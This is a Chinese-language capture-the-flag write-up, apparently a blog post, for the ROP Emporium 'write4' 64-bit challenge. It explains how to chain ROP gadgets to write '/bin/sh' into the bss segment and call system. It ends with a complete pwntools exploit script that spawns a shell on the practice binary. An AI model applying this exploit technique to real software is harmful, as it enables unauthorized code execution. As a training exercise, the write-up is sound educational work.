Write4

作者: YeeZi_ | 来源:发表于2019-05-22 01:37 被阅读13次

64位

我们照常来check一下保护

image.png

依旧是堆栈不可执行保护

然后为了防止最后忘记这一步,我们先爆个字符串大小先

image.png

爆出来的数字是40

然后去ida里看看 有没有system和’/bin/sh’

image.png

我们一看就能找到system啦!然后点进去看地址咯

image.png

然后就继续shift+fn+f12找字符串’/bin/sh’

image.png

我们只能找到一个和它很像的东西,但是很像也不是啊,所以我们要把’/bin/sh’写进bss段然后调用

image.png

我们找到的bss段的地址

然后我们找寄存器来存这些指令和数据(一个存bss段的地址一个存要写入的参

数(这里是’/bin/sh’))

image.png

然后我们选那个r14、r15的地址

然后还要去找mov的地址来给寄存器赋值的

image.png

然后我们找到有r14和r15的,[r14]是代表r14的地址,r15则是对应的值,假设r14地址为0x0401809,r15里的值是“abc”,则这个命令就是,让r14里的地址指向r15里的内容,即0x0401809->“abc”。

然后就可以构造脚本啦

#!/usr/bin/env python
from pwn import *

sh = process('./write4')

system = 0x04005E0
bss = 0x0601060
r14_r15 = 0x0400890
move = 0x0400820
rdi = 0x0400893
#rbp = 0x04006b0
mov = 0x0400820

payload = "a"*40+p64(r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov)+p64(rdi)+p64(bss)+p64(system)
#rdi->bss  
#gdb.attach(sh,"b *0x0400804")

sh.sendline(payload)

sh.interactive()

然后就可以getshell啦!

image.png

相关文章

  • write4

    ropemporium上的链接https://ropemporium.com/ 32位 checksec后试运行 ...

  • Write4

    64位 我们照常来check一下保护 依旧是堆栈不可执行保护 然后为了防止最后忘记这一步,我们先爆个字符串大小先 ...

  • write4

    write432: 同样的溢出点,但是这次没有/bin/sh,需要我们自己写到data中或者bss 中,两种写法没...

  • pwn学习之——初级任意地址写和进阶任意地址写!

    最近看了一道题,write4的,里面有个很好的思路就是任意地址写:一起看看吧: 64位的,堆栈不可写保护,栈溢出漏...

网友评论

    本文标题:Write4

    本文链接:https://www.haomeiwen.com/subject/ucuezqtx.html